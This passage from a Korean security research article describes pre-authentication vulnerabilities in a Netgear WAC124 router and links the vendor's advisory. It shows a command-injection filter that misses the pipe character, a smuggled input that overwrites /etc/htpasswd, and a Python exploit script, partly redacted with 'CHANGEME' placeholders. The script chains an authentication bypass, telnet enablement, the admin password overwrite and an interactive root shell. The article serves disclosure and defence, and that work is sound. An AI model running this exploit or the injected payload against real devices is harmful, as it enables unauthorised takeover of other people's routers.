    fprintf(__stream,"[%s::%s():%d] ","other.c","test_command_inject",0xa2e);
    fprintf(__stream,"Possible COMMAND injection detected:\"%s\"!\n",param_1);
    fclose(__stream);
  }
  return 0;
}

์ฝ”๋“œ๋ฅผ ์ฝ์–ด๋ณด๋ฉด /bin, /sbin, `, \x00 ๋“ฑ์ด ์ฐจ๋‹จ๋จ์„ ์•Œ ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ๋‹คํ–‰ํžˆ๋„ pipe๋ฅผ ์œ„ํ•œ ์„ธ๋กœ ๋ง‰๋Œ€(|)๊ฐ€ ์ฒดํฌ ํ•จ์ˆ˜์— ํฌํ•จ๋˜์–ด ์žˆ์ง€๋Š” ์•Š์•˜์Šต๋‹ˆ๋‹ค.

ํ˜„์žฌ ์‹คํ–‰๋˜๋Š” ๋ช…๋ น์–ด๋Š” /bin/echo [input] >> /tmp/itunes/apple.remote์ด๋ฏ€๋กœ, ์ž…๋ ฅ ๊ฐ’์„ admin:styexp> /etc/htpasswd|์™€ ๊ฐ™์ด ๋„ฃ์œผ๋ฉด ์ตœ์ข…์ ์œผ๋กœ ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋  ๋•Œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ช…๋ น์–ด๊ฐ€ ์‹คํ–‰๋˜๊ธฐ ๋•Œ๋ฌธ์— /etc/htpasswd๋ฅผ ๋ฎ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

/bin/echo admin:styprexp>/etc/htpasswd|>>/tmp/itunes/apple.remote

์ด ๋ฐฉ๋ฒ•์„ ํ†ตํ•ด /etc/htpasswd ํŒŒ์ผ์„ ์ปค๋งจ๋“œ ์ธ์ ์…˜์„ ํ†ตํ•ด ๊ด€๋ฆฌ์ž ์œ ์ €๋ช…๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ณต๊ฒฉ์„ ํ†ตํ•ด ์ง์ ‘ ๊ด€๋ฆฌ์ž์˜ ๊ณ„์ • ํŒŒ์ผ์„ ์ถ”์ถœํ•˜์ง€ ์•Š์•„๋„ ๊ด€๋ฆฌ์ž ๊ณ„์ • ๋กœ๊ทธ์ธ์— ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ „์ œ์กฐ๊ฑด์ด ํ•„์š”์—†๋Š” ์ต์Šคํ”Œ๋กœ์ž‡ PoC

์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ

์ง€๊ธˆ๊นŒ์ง€ ๋ฐœ๊ฒฌํ•œ ์ทจ์•ฝ์ ์„ ํ™œ์šฉํ•˜๋ฉด ๊ถŒํ•œ ์—†์ด ์ธ์ฆ ์šฐํšŒ๋ฅผ ํ•œ ๋‹ค์Œ ์ž„์˜ ๋ช…๋ น์–ด ์‹คํ–‰์„ ํ†ตํ•ด ๊ด€๋ฆฌ์ž ๊ณ„์ •๊นŒ์ง€ ๋ฎ๊ณ  ์‹œ์Šคํ…œ ์‰˜์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋ฒˆ ๊ณต๊ฒฉ์˜ ๊ฒฝ์šฐ www.routerlogin.com์— ์ ‘์†ํ•  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฒฉ์ž๋ผ๋ฉด ๋ˆ„๊ตฌ๋‚˜ ์ „์ œ์กฐ๊ฑด ์—†์ด ๊ณต๊ฒฉํ•˜์—ฌ ๋ผ์šฐํ„ฐ ์žฅ๋น„์˜ ์‹œ์Šคํ…œ ์‰˜์„ ํŠธ๋ฆฌ๊ฑฐ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ธํ„ฐ๋„ท์— ์ต์Šคํ”Œ๋กœ์ž‡์ด ์—ฌ๊ธฐ์ €๊ธฐ ๋Œ์•„๋‹ค๋‹ˆ๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•˜์—ฌ, ์‹ค์ œ ์ต์Šคํ”Œ๋กœ์ž‡์—์„œ ์ผ๋ถ€ ์ฝ”๋“œ๋ฅผ ์ œ๊ฑฐ ํ•˜์˜€์Šต๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ์ด ๊ธฐ์‚ฌ๋ฅผ ์ œ๋Œ€๋กœ ์ฝ๊ณ  ๊ณ„์‹ ๋‹ค๋ฉด ๊ณต๊ฒฉ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๋Š” ๊ฒƒ์€ ํฌ๊ฒŒ ์–ด๋ ต์ง€ ์•Š์„ ๊ฒƒ์œผ๋กœ ๋ณด์ž…๋‹ˆ๋‹ค.

#!/usr/bin/python -u
# -*- coding: utf-8 -*-

"""

Title: Netgear WAC124 pre-auth exploit by stypr @ Flatt Security Inc.
Developer: stypr @ Flatt Security Inc.
Website: https://harold.kim/, https://flatt.tech/
Date: 2021-07-07

This exploit contains two vulnerabilities.
  - Authentication Bypass
    - This will gain privileges for admin
    - Also, it will trigger
  - Command Injection
    - Since we have the admin privilege, we can now have more features available.
    - Some of codes are vulnerable to command injection, in which we can overwrite admin password.
    - There are filters available, but currently it is possible to bypass filters.

"""

...

# Real functions start here
def check_vulnerable():
    """
    Check if the server is vulnerable.
    """
    debug_htm = "CHANGEME"
    resp = send_get_request(path="/setup.cgi?next_file=" + debug_htm)
    resp = resp.decode()
    if "Enable Telnet" in resp:
        print("[.] It seems to be exploitable!")
        return True
    return False


def trigger_telnet_on():
    """
    Trigger telnet on by authentication bypass
    """
    todo = "CHANGEME"
    debug_htm = "CHANGEME"

    # Note: todo is bypassed
    resp = send_get_request(
        path="/setup.cgi?" + todo + "=dbg_configure&telnet=1&this_file=" + debug_htm + "&next_file=" + debug_htm,
    )
    resp = resp.decode()
    if "Enable Telnet" in resp:
        return True
    return False


def command_injection():
    """
    Trigger command injection to overwrite /etc/htpasswd
    """
    todo = "CHANGEME"
    usb_media = "CHANGEME"
    remote_passcode = "admin:styexp%3E/etc/htpasswd|"

    # Note: todo is bypassed
    resp = send_get_request(
        path="/setup.cgi?" + todo + "=iserver_allow_ctrl&remote_passcode=" + remote_passcode + "&this_file=" + usb_media
        
    )
    resp = resp.decode()
    if "itunes_server_enable" in resp:
        return True
    return False


def trigger_shell(username, password):
    """
    Triggering shell
    """
    with Telnet(HOST, 23) as session:
        session.read_until(b"login: ")
        session.write(username.encode() + b"\n")
        session.write(password.encode() + b"\n")
        session.interact()


if __name__ == "__main__":
    print("[*] Checking if the bug is exploitable...")
    result = check_vulnerable()
    if not result:
        print("[-] Maybe it is not exploitable......")
        sys.exit(-1)

    print("[*] Enabling telnet...")
    result = trigger_telnet_on()
    if not result:
        print("[-] Failed to trigger telnet on.. Maybe it's fixed.")
        sys.exit(-1)

    print("[*] Overwriting /etc/htpasswd...")
    result = command_injection()
    if not result:
        print("[-] Failed to overwrite /etc/htpasswd")
        sys.exit(-1)

    print("[*] Triggering shell...")
    trigger_shell("admin", "styexp")

๋ฐ๋ชจ ๋™์˜์ƒ

๋ฐ๋ชจ ๋™์˜์ƒ์—๋Š”, ์ƒ๊ธฐ PoC ์ฝ”๋“œ๋ฅผ ์‹ค์ œ๋กœ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ณธ ์ต์Šคํ”Œ๋กœ์ž‡์—์„œ๋Š” ์ธ์ฆ์„ ๋ฐ”์ดํŒจ์Šคํ•˜๊ณ  ๊ด€๋ฆฌ์ž ๊ณ„์ •์„ ๋ฎ์–ด์“ฐ๋Š” ๋ช…๋ น ์ธ์ ์…˜์„ ์ˆ˜ํ–‰ํ•˜์—ฌ ์ธ์ฆ๋˜์ง€ ์•Š์€ ๋ถ€์ •ํ•œ ์‚ฌ์šฉ์ž์ด๋ฉด์„œ๋„ ๋ผ์šฐํ„ฐ ์‰˜์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ฐธ๊ณ 

๋ณธ ๊ธ€์˜ ์˜์–ด ๋ฒ„์ „์€ NETGEAR ๋ณด์•ˆํŒ€์— ์˜ํ•ด ๊ฒ€์ˆ˜๋œ ๋ฌธ์„œ์ž…๋‹ˆ๋‹ค.

  • https://kb.netgear.com/000064730/Security-Advisory-for-Multiple-Vulnerabilities-on-the-WAC124-PSV-2022-0044
ย  ย  ย  ย  ย ย 

a286e487f0a2455b
b7917adecfbc3b2c